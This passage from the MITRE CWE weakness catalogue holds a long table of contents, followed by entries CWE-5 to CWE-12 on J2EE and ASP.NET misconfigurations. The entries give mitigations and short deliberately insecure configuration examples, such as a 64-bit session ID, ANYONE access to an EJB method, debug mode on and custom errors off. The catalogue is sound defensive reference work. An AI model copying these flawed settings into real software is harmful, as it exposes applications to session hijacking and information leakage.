CWE-640: Weak Password Recovery Mechanism for Forgotten Password.....	1173
CWE-641: Improper Restriction of Names for Files and Other Resources.....	1175
CWE-642: External Control of Critical State Data.....	1177
CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection').....	1182
CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax.....	1184
CWE-645: Overly Restrictive Account Lockout Mechanism.....	1186
CWE-646: Reliance on File Name or Extension of Externally-Supplied File.....	1187
CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions.....	1189
CWE-648: Incorrect Use of Privileged APIs.....	1190
CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking....	1192
CWE-650: Trusting HTTP Permission Methods on the Server Side.....	1194
CWE-651: Information Exposure Through WSDL File.....	1195
CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection').....	1197
CWE-653: Insufficient Compartmentalization.....	1198
CWE-654: Reliance on a Single Factor in a Security Decision.....	1201
CWE-655: Insufficient Psychological Acceptability.....	1203
CWE-656: Reliance on Security Through Obscurity.....	1204
CWE-657: Violation of Secure Design Principles.....	1206
CWE-662: Improper Synchronization.....	1208
CWE-663: Use of a Non-reentrant Function in a Concurrent Context.....	1209
CWE-664: Improper Control of a Resource Through its Lifetime.....	1210
CWE-665: Improper Initialization.....	1213
CWE-666: Operation on Resource in Wrong Phase of Lifetime.....	1217
CWE-667: Improper Locking.....	1219
CWE-668: Exposure of Resource to Wrong Sphere.....	1223
CWE-669: Incorrect Resource Transfer Between Spheres.....	1224
CWE-670: Always-Incorrect Control Flow Implementation.....	1226
CWE-671: Lack of Administrator Control over Security.....	1227
CWE-672: Operation on a Resource after Expiration or Release.....	1228
CWE-673: External Influence of Sphere Definition.....	1230
CWE-674: Uncontrolled Recursion.....	1231
CWE-675: Duplicate Operations on Resource.....	1233
CWE-676: Use of Potentially Dangerous Function.....	1234
CWE-680: Integer Overflow to Buffer Overflow.....	1237
CWE-681: Incorrect Conversion between Numeric Types.....	1239
CWE-682: Incorrect Calculation.....	1242
CWE-683: Function Call With Incorrect Order of Arguments.....	1246
CWE-684: Incorrect Provision of Specified Functionality.....	1247
CWE-685: Function Call With Incorrect Number of Arguments.....	1248
CWE-686: Function Call With Incorrect Argument Type.....	1249
CWE-687: Function Call With Incorrectly Specified Argument Value.....	1251
CWE-688: Function Call With Incorrect Variable or Reference as Argument.....	1252
CWE-689: Permission Race Condition During Resource Copy.....	1254
CWE-690: Unchecked Return Value to NULL Pointer Dereference.....	1255
CWE-691: Insufficient Control Flow Management.....	1257
CWE-692: Incomplete Blacklist to Cross-Site Scripting.....	1258
CWE-693: Protection Mechanism Failure.....	1259
CWE-694: Use of Multiple Resources with Duplicate Identifier.....	1262
CWE-695: Use of Low-Level Functionality.....	1263
CWE-696: Incorrect Behavior Order.....	1265
CWE-697: Incorrect Comparison.....	1266
CWE-698: Execution After Redirect (EAR).....	1269
CWE-703: Improper Check or Handling of Exceptional Conditions.....	1271
CWE-704: Incorrect Type Conversion or Cast.....	1273
CWE-705: Incorrect Control Flow Scoping.....	1274

CWE-706: Use of Incorrectly-Resolved Name or Reference.....	1276
CWE-707: Improper Enforcement of Message or Data Structure.....	1277
CWE-708: Incorrect Ownership Assignment.....	1279
CWE-710: Improper Adherence to Coding Standards.....	1280
CWE-732: Incorrect Permission Assignment for Critical Resource.....	1282
CWE-733: Compiler Optimization Removal or Modification of Security-critical Code.....	1290
CWE-749: Exposed Dangerous Method or Function.....	1291
CWE-754: Improper Check for Unusual or Exceptional Conditions.....	1295
CWE-755: Improper Handling of Exceptional Conditions.....	1302
CWE-756: Missing Custom Error Page.....	1303
CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade').....	1304
CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior.....	1306
CWE-759: Use of a One-Way Hash without a Salt.....	1307
CWE-760: Use of a One-Way Hash with a Predictable Salt.....	1311
CWE-761: Free of Pointer not at Start of Buffer.....	1314
CWE-762: Mismatched Memory Management Routines.....	1317
CWE-763: Release of Invalid Pointer or Reference.....	1319
CWE-764: Multiple Locks of a Critical Resource.....	1322
CWE-765: Multiple Unlocks of a Critical Resource.....	1324
CWE-766: Critical Variable Declared Public.....	1325
CWE-767: Access to Critical Private Variable via Public Method.....	1327
CWE-768: Incorrect Short Circuit Evaluation.....	1329
CWE-769: Uncontrolled File Descriptor Consumption.....	1330
CWE-770: Allocation of Resources Without Limits or Throttling.....	1332
CWE-771: Missing Reference to Active Allocated Resource.....	1338
CWE-772: Missing Release of Resource after Effective Lifetime.....	1340
CWE-773: Missing Reference to Active File Descriptor or Handle.....	1344
CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling.....	1345
CWE-775: Missing Release of File Descriptor or Handle after Effective Lifetime.....	1347
CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion').....	1348
CWE-777: Regular Expression without Anchors.....	1351
CWE-778: Insufficient Logging.....	1352
CWE-779: Logging of Excessive Data.....	1354
CWE-780: Use of RSA Algorithm without OAEP.....	1356
CWE-781: Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code.....	1357
CWE-782: Exposed IOCTL with Insufficient Access Control.....	1359
CWE-783: Operator Precedence Logic Error.....	1361
CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision.....	1364
CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer.....	1366
CWE-786: Access of Memory Location Before Start of Buffer.....	1368
CWE-787: Out-of-bounds Write.....	1370
CWE-788: Access of Memory Location After End of Buffer.....	1372
CWE-789: Uncontrolled Memory Allocation.....	1375
CWE-790: Improper Filtering of Special Elements.....	1378
CWE-791: Incomplete Filtering of Special Elements.....	1379
CWE-792: Incomplete Filtering of One or More Instances of Special Elements.....	1380
CWE-793: Only Filtering One Instance of a Special Element.....	1381
CWE-794: Incomplete Filtering of Multiple Instances of Special Elements.....	1383
CWE-795: Only Filtering Special Elements at a Specified Location.....	1384
CWE-796: Only Filtering Special Elements Relative to a Marker.....	1385
CWE-797: Only Filtering Special Elements at an Absolute Position.....	1386
CWE-798: Use of Hard-coded Credentials.....	1388
CWE-799: Improper Control of Interaction Frequency.....	1394
CWE-804: Guessable CAPTCHA.....	1396
CWE-805: Buffer Access with Incorrect Length Value.....	1397
CWE-806: Buffer Access Using Size of Source Buffer.....	1403
CWE-807: Reliance on Untrusted Inputs in a Security Decision.....	1406
CWE-820: Missing Synchronization.....	1411
CWE-821: Incorrect Synchronization.....	1412
CWE-822: Untrusted Pointer Dereference.....	1413
CWE-823: Use of Out-of-range Pointer Offset.....	1415

CWE-824: Access of Uninitialized Pointer.....	1418
CWE-825: Expired Pointer Dereference.....	1420
CWE-826: Premature Release of Resource During Expected Lifetime.....	1423
CWE-827: Improper Control of Document Type Definition.....	1424
CWE-828: Signal Handler with Functionality that is not Asynchronous-Safe.....	1425
CWE-829: Inclusion of Functionality from Untrusted Control Sphere.....	1428
CWE-830: Inclusion of Web Functionality from an Untrusted Source.....	1434
CWE-831: Signal Handler Function Associated with Multiple Signals.....	1436
CWE-832: Unlock of a Resource that is not Locked.....	1437
CWE-833: Deadlock.....	1438
CWE-834: Excessive Iteration.....	1440
CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop').....	1441
CWE-836: Use of Password Hash Instead of Password for Authentication.....	1444
CWE-837: Improper Enforcement of a Single, Unique Action.....	1445
CWE-838: Inappropriate Encoding for Output Context.....	1446
CWE-839: Numeric Range Comparison Without Minimum Check.....	1448
CWE-841: Improper Enforcement of Behavioral Workflow.....	1452
CWE-842: Placement of User into Incorrect Group.....	1455
CWE-843: Access of Resource Using Incompatible Type ('Type Confusion').....	1456
CWE-862: Missing Authorization.....	1459
CWE-863: Incorrect Authorization.....	1464
CWE-908: Use of Uninitialized Resource.....	1469
CWE-909: Missing Initialization of Resource.....	1472
CWE-910: Use of Expired File Descriptor.....	1474
CWE-911: Improper Update of Reference Count.....	1475
CWE-912: Hidden Functionality.....	1477
CWE-913: Improper Control of Dynamically-Managed Code Resources.....	1478
CWE-914: Improper Control of Dynamically-Identified Variables.....	1479
CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes.....	1481
CWE-916: Use of Password Hash With Insufficient Computational Effort.....	1485
CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection').....	1488
CWE-918: Server-Side Request Forgery (SSRF).....	1489
CWE-920: Improper Restriction of Power Consumption.....	1491
CWE-921: Storage of Sensitive Data in a Mechanism without Access Control.....	1492
CWE-922: Insecure Storage of Sensitive Information.....	1493
CWE-923: Improper Restriction of Communication Channel to Intended Endpoints.....	1494
CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel.....	1496
CWE-925: Improper Verification of Intent by Broadcast Receiver.....	1496
CWE-926: Improper Export of Android Application Components.....	1498
CWE-927: Use of Implicit Intent for Sensitive Communication.....	1500
CWE-939: Improper Authorization in Handler for Custom URL Scheme.....	1503
CWE-940: Improper Verification of Source of a Communication Channel.....	1505
CWE-941: Incorrectly Specified Destination in a Communication Channel.....	1507
CWE-942: Overly Permissive Cross-domain Whitelist.....	1509
CWE-943: Improper Neutralization of Special Elements in Data Query Logic.....	1512
CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag.....	1514
CWE-1007: Insufficient Visual Distinction of Homoglyphs Presented to User.....	1516
CWE-1021: Improper Restriction of Rendered UI Layers or Frames.....	1519
CWE-1022: Use of Web Link to Untrusted Target with window.opener Access.....	1521
CWE-1023: Incomplete Comparison with Missing Factors.....	1523
CWE-1024: Comparison of Incompatible Types.....	1524
CWE-1025: Comparison Using Wrong Factors.....	1525
CWE-1037: Processor Optimization Removal or Modification of Security-critical Code.....	1527
CWE-1038: Insecure Automated Optimizations.....	1528
CWE-1039: Automated Recognition Mechanism with Inadequate Detection or Handling of Adversarial Input Perturbations.....	1529

## CWE Categories

Category-2: 7PK - Environment.....	1531
Category-4: J2EE Environment Issues.....	1531

Category-16: Configuration.....	1532
Category-17: Code.....	1532
Category-18: Source Code.....	1533
Category-19: Data Processing Errors.....	1533
Category-21: Pathname Traversal and Equivalence Errors.....	1534
Category-133: String Errors.....	1535
Category-136: Type Errors.....	1535
Category-137: Representation Errors.....	1535
Category-171: Cleansing, Canonicalization, and Comparison Errors.....	1536
Category-189: Numeric Errors.....	1537
Category-199: Information Management Errors.....	1537
Category-227: 7PK - API Abuse.....	1537
Category-251: Often Misused: String Management.....	1538
Category-254: 7PK - Security Features.....	1539
Category-255: Credentials Management.....	1540
Category-264: Permissions, Privileges, and Access Controls.....	1540
Category-265: Privilege / Sandbox Issues.....	1541
Category-275: Permission Issues.....	1542
Category-310: Cryptographic Issues.....	1543
Category-320: Key Management Errors.....	1543
Category-355: User Interface Security Issues.....	1544
Category-361: 7PK - Time and State.....	1545
Category-371: State Issues.....	1546
Category-376: Temporary File Issues.....	1546
Category-380: Technology-Specific Time and State Issues.....	1547
Category-381: J2EE Time and State Issues.....	1547
Category-387: Signal Errors.....	1547
Category-388: 7PK - Errors.....	1548
Category-389: Error Conditions, Return Values, Status Codes.....	1548
Category-398: 7PK - Code Quality.....	1549
Category-399: Resource Management Errors.....	1550
Category-411: Resource Locking Problems.....	1551
Category-417: Channel and Path Errors.....	1551
Category-429: Handler Errors.....	1552
Category-438: Behavioral Problems.....	1552
Category-442: Web Problems.....	1553
Category-452: Initialization and Cleanup Errors.....	1554
Category-461: Data Structure Issues.....	1554
Category-465: Pointer Issues.....	1555
Category-485: 7PK - Encapsulation.....	1555
Category-490: Mobile Code Issues.....	1556
Category-519: .NET Environment Issues.....	1557
Category-557: Concurrency Issues.....	1557
Category-559: Often Misused: Arguments and Parameters.....	1558
Category-569: Expression Issues.....	1558
Category-712: OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS).....	1558
Category-713: OWASP Top Ten 2007 Category A2 - Injection Flaws.....	1559
Category-714: OWASP Top Ten 2007 Category A3 - Malicious File Execution.....	1559
Category-715: OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference.....	1559
Category-716: OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF).....	1560
Category-717: OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling.....	1560
Category-718: OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management.....	1561
Category-719: OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage.....	1561
Category-720: OWASP Top Ten 2007 Category A9 - Insecure Communications.....	1561
Category-721: OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access.....	1562
Category-722: OWASP Top Ten 2004 Category A1 - Unvalidated Input.....	1562
Category-723: OWASP Top Ten 2004 Category A2 - Broken Access Control.....	1563
Category-724: OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management.....	1564
Category-725: OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws.....	1564
Category-726: OWASP Top Ten 2004 Category A5 - Buffer Overflows.....	1565
Category-727: OWASP Top Ten 2004 Category A6 - Injection Flaws.....	1565

Category-728: OWASP Top Ten 2004 Category A7 - Improper Error Handling.....	1566
Category-729: OWASP Top Ten 2004 Category A8 - Insecure Storage.....	1566
Category-730: OWASP Top Ten 2004 Category A9 - Denial of Service.....	1567
Category-731: OWASP Top Ten 2004 Category A10 - Insecure Configuration Management.....	1567
Category-735: CERT C Secure Coding (2008 Version) Section 01 - Preprocessor (PRE).....	1568

## Weaknesses

### CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption

<b>Weakness ID</b> : 5	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

#### Description

Information sent over a network can be compromised while in transit. An attacker may be able to read or modify the contents if the data are sent in plaintext or are weakly encrypted.

#### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		319	Cleartext Transmission of Sensitive Information	670

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		4	J2EE Environment Issues	1531

#### Applicable Platforms

**Language** : Java (Prevalence = Undetermined)

#### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	

#### Potential Mitigations

##### Phase: System Configuration

The application configuration should ensure that SSL or an encryption mechanism of equivalent strength and vetted reputation is used for all access-controlled pages.

#### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		2	7PK - Environment	700	1531
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	1627

#### Notes

##### Other

If an application uses SSL to guarantee confidential communication with client browsers, the application configuration should make it impossible to view any access controlled page without SSL. There are three common ways for SSL to be bypassed: A user manually enters URL and types "HTTP" rather than "HTTPS". Attackers intentionally send a user to an insecure URL.

A programmer erroneously creates a relative link to a page in the application, which does not switch from HTTP to HTTPS. (This is particularly easy to do when the link moves between public and secured areas on a web site.)

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			J2EE Misconfiguration: Insecure Transport

## CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length

<b>Weakness ID</b> : 6	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The J2EE application is configured to use an insufficient session ID length.

### Extended Description

If an attacker can guess or steal a session ID, then they may be able to take over the user's session (called session hijacking). The number of possible session IDs increases with increased session ID length, making it more difficult to guess or steal a session ID.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		334	Small Space of Random Values	705

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1018	Manage User Sessions	1657

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		4	J2EE Environment Issues	1531

### Applicable Platforms

**Language** : Java (*Prevalence = Undetermined*)

### Background Details

Session ID's can be used to identify communicating parties in a web environment. The expected number of seconds required to guess a valid session identifier is given by the equation:  $(2^B+1)/(2^A*S)$  Where: - B is the number of bits of entropy in the session identifier. - A is the number of guesses an attacker can try each second. - S is the number of valid session identifiers that are valid and available to be guessed at any given time. The number of bits of entropy in the session identifier is always less than the total number of bits in the session identifier. For example, if session identifiers were provided in ascending order, there would be close to zero bits of entropy in the session identifier no matter the identifier's length. Assuming that the session identifiers are being generated using a good source of random numbers, we will estimate the number of bits of

entropy in a session identifier to be half the total number of bits in the session identifier. For realistic identifier lengths this is possible, though perhaps optimistic.

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	
	<i>If an attacker can guess an authenticated user's session identifier, they can take over the user's session.</i>	

### Potential Mitigations

#### Phase: Implementation

Session identifiers should be at least 128 bits long to prevent brute-force session guessing. A shorter session identifier leaves the application open to brute-force session guessing attacks.

#### Phase: Implementation

A lower bound on the number of valid session identifiers that are available to be guessed is the number of users that are active on a site at any given moment. However, any users that abandon their sessions without logging out will increase this number. (This is one of many good reasons to have a short inactive session timeout.) With a 64 bit session identifier, assume 32 bits of entropy. For a large web site, assume that the attacker can try 1,000 guesses per second and that there are 10,000 valid session identifiers at any given moment. Given these assumptions, the expected time for an attacker to successfully guess a valid session identifier is less than 4 minutes. Now assume a 128 bit session identifier that provides 64 bits of entropy. With a very large web site, an attacker might try 10,000 guesses per second with 100,000 valid session identifiers available to be guessed. Given these assumptions, the expected time for an attacker to successfully guess a valid session identifier is greater than 292 years.

### Demonstrative Examples

#### Example 1:

The following XML example code is a deployment descriptor for a Java web application deployed on a Sun Java Application Server. This deployment descriptor includes a session configuration property for configuring the session ID length.

Example Language: XML

(bad)

```
<sun-web-app>...<session-config><session-properties><property name="idLengthBytes" value="8"><description>The number of bytes in this web module's session ID.</description></property></session-properties></session-config>...</sun-web-app>
```

This deployment descriptor has set the session ID length for this Java web application to 8 bytes (or 64 bits). The session ID length for Java web applications should be set to 16 bytes (128 bits) to prevent attackers from guessing and/or stealing a session ID and taking over a user's session.

Note for most application servers including the Sun Java Application Server the session ID length is by default set to 128 bits and should not be changed. And for many application servers the session ID length cannot be changed from this default setting. Check your application server documentation for the session ID length default setting and configuration options to ensure that the session ID length is set to 128 bits.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page

## CWE-7: J2EE Misconfiguration: Missing Custom Error Page

<b>Weakness ID</b> : 7	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The default error page of a web application should not display sensitive information about the software system.

### Extended Description

A Web application must define a default error page for 4xx errors (e.g. 404), 5xx (e.g. 500) errors and catch java.lang.Throwable exceptions to prevent attackers from mining information from the application container's built-in error response. When an attacker explores a web site looking for vulnerabilities, the amount of information that the site provides is crucial to the eventual success or failure of any attempted attacks.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		756	Missing Custom Error Page	1303

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		4	J2EE Environment Issues	1531
ChildOf		756	Missing Custom Error Page	1303

### Applicable Platforms

**Language** : Java (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Scope	Impact	Likelihood
	A stack trace might show the attacker a malformed SQL query string, the type of database being used, and the version of the application container. This information enables the attacker to target known vulnerabilities in these components.	

### Potential Mitigations

#### Phase: Implementation

Handle exceptions appropriately in source code.

#### Phase: Implementation

#### Phase: System Configuration

Always define appropriate error pages. The application configuration should specify a default error page in order to guarantee that the application will never leak error messages to an attacker. Handling standard HTTP error codes is useful and user-friendly in addition to being a good security practice, and a good configuration will also define a last-chance error handler that catches any exception that could possibly be thrown by the application.

#### Phase: Implementation

Do not attempt to process an error or attempt to mask it.

#### Phase: Implementation

Verify return values are correct and do not supply sensitive information about the system.

### Demonstrative Examples

#### Example 1:

In the snippet below, an unchecked runtime exception thrown from within the try block may cause the container to display its default error page (which may contain a full stack trace, among other things).

Example Language: Java

(bad)

```
Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {try
{...} catch (ApplicationSpecificException ase) {logger.error("Caught: " + ase.toString());}}
```

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	2	7PK - Environment	700	1531

## CWE-8: J2EE Misconfiguration: Entity Bean Declared Remote

<b>Weakness ID</b> : 8	<b>Status:</b> Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

When an application exposes a remote interface for an entity bean, it might also expose methods that get or set the bean's data. These methods could be leveraged to read sensitive information, or to change data in ways that violate the application's expectations, potentially leading to other vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1223

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		4	J2EE Environment Issues	1531

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	

### Potential Mitigations

#### Phase: Implementation

Declare Java beans "local" when possible. When a bean must be remotely accessible, make sure that sensitive information is not exposed, and ensure that the application logic performs appropriate validation of any data that might be modified by an attacker.

### Demonstrative Examples

#### Example 1:

The following example demonstrates the weakness.

*Example Language: XML*

*(bad)*

```
<ejb-jar><enterprise-beans><entity><ejb-name>EmployeeRecord</ejb-name><home>com.wombat.empl.EmployeeRecordHome</home><remote>com.wombat.empl.EmployeeRecord</remote>...</entity>...</enterprise-beans></ejb-jar>
```

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		2	7PK - Environment	700	1531
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	1627

### Notes

## Other

Entity beans that expose a remote interface become part of an application's attack surface. For performance reasons, an application should rarely use remote entity beans, so there is a good chance that a remote entity bean declaration is an error.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			J2EE Misconfiguration: Unsafe Bean Declaration
Software Fault Patterns	SFP23		Exposed Data

## CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods

**Weakness ID** : 9**Status**: Draft**Structure** : Simple**Abstraction** : Variant

### Description

If elevated access rights are assigned to EJB methods, then an attacker can take advantage of the permissions to exploit the software system.

### Extended Description

If the EJB deployment descriptor contains one or more method permissions that grant access to the special ANYONE role, it indicates that access control for the application has not been fully thought through or that the application is structured in such a way that reasonable access control restrictions are impossible.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		266	Incorrect Privilege Assignment	553

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		4	J2EE Environment Issues	1531

### Common Consequences

Scope	Impact	Likelihood
Other	Other	

### Potential Mitigations

**Phase: Architecture and Design**

**Phase: System Configuration**

Follow the principle of least privilege when assigning access rights to EJB methods. Permission to invoke EJB methods should not be granted to the ANYONE role.

### Demonstrative Examples

**Example 1:**

The following deployment descriptor grants ANYONE permission to invoke the Employee EJB's method named getSalary().

Example Language: XML

(bad)

```
<ejb-jar>...<assembly-descriptor><method-permission><role-name>ANYONE</role-name><method><ejb-name>Employee</ejb-name><method-name>getSalary</method-name></method-permission></assembly-descriptor>...</ejb-jar>
```

## MemberOf Relationships

MemberOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	1563
MemberOf	C	901	SFP Primary Cluster: Privilege	888	1613

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			J2EE Misconfiguration: Weak Access Permissions

## CWE-11: ASP.NET Misconfiguration: Creating Debug Binary

Weakness ID : 11

Status: Draft

Structure : Simple

Abstraction : Variant

### Description

Debugging messages help attackers learn about the system and plan a form of attack.

### Extended Description

ASP .NET applications can be configured to produce debug binaries. These binaries give detailed debugging messages and should not be used in production environments. Debug binaries are meant to be used in a development or testing environment and can pose a security risk if they are deployed to production.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	V	215	Information Exposure Through Debug Information	484

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	519	.NET Environment Issues	1557

### Applicable Platforms

Language : ASP.NET (Prevalence = Undetermined)

## Background Details

The debug attribute of the <compilation> tag defines whether compiled binaries should include debugging information. The use of debug binaries causes an application to provide as much information about itself as possible to the user.

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data <i>Attackers can leverage the additional information they gain from debugging output to mount attacks targeted on the framework, database, or other resources used by the application.</i>	

## Potential Mitigations

### Phase: System Configuration

Avoid releasing debug binaries into the production environment. Change the debug mode to false when the application is deployed into production.

## Demonstrative Examples

### Example 1:

The file web.config contains the debug mode setting. Setting debug to "true" will let the browser display debugging information.

Example Language: XML

(bad)

```
<?xml version="1.0" encoding="utf-8" ?><configuration><system.web><compilationdefaultLanguage="c#"debug="true"/>...</system.web></configuration>
```

Change the debug mode to false when the application is deployed into production.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	2	7PK - Environment	700	1531
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1627

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			ASP.NET Misconfiguration: Creating Debug Binary

## CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page

Weakness ID : 12

Status: Draft

Structure : Simple

Abstraction : Variant

## Description

An ASP .NET application must enable custom error pages in order to prevent attackers from mining information from the framework's built-in responses.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		756	Missing Custom Error Page	1303

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		519	.NET Environment Issues	1557

### Applicable Platforms

**Language** : ASP.NET (Prevalence = Undetermined)

### Background Details

The mode attribute of the <customErrors> tag defines whether custom or default error pages are used.

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
	<i>Default error pages gives detailed information about the error that occurred, and should not be used in production environments. Attackers can leverage the additional information provided by a default error page to mount attacks targeted on the framework, database, or other resources used by the application.</i>	

### Potential Mitigations

#### Phase: System Configuration

Handle exceptions appropriately in source code. ASP .NET applications should be configured to use custom error pages instead of the framework default page.

#### Phase: Architecture and Design

Do not attempt to process an error or attempt to mask it.

#### Phase: Implementation

Verify return values are correct and do not supply sensitive information about the system.

### Demonstrative Examples

#### Example 1:

The mode attribute of the <customErrors> tag in the Web.config file defines whether custom or default error pages are used.

In the following insecure ASP.NET application setting, custom error message mode is turned off. An ASP.NET error message with detailed stack trace and platform versions will be returned.

*Example Language: ASP.NET*

*(bad)*

```
<customErrors mode="Off" />
```

A more secure setting is to set the custom error message mode for remote users only. No defaultRedirect error page is specified. The local user on the web server will see a detailed stack

trace. For remote users, an ASP.NET error message with the server customError configuration setting and the platform version will be returned.

Example Language: ASP.NET

(good)

```
<customErrors mode="RemoteOnly" />
```

Another secure option is to set the mode attribute of the <customErrors> tag to use a custom page as follows:

Example Language: ASP.NET

(good)

```
<customErrors mode="On" defaultRedirect="YourErrorPage.htm" />
```

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

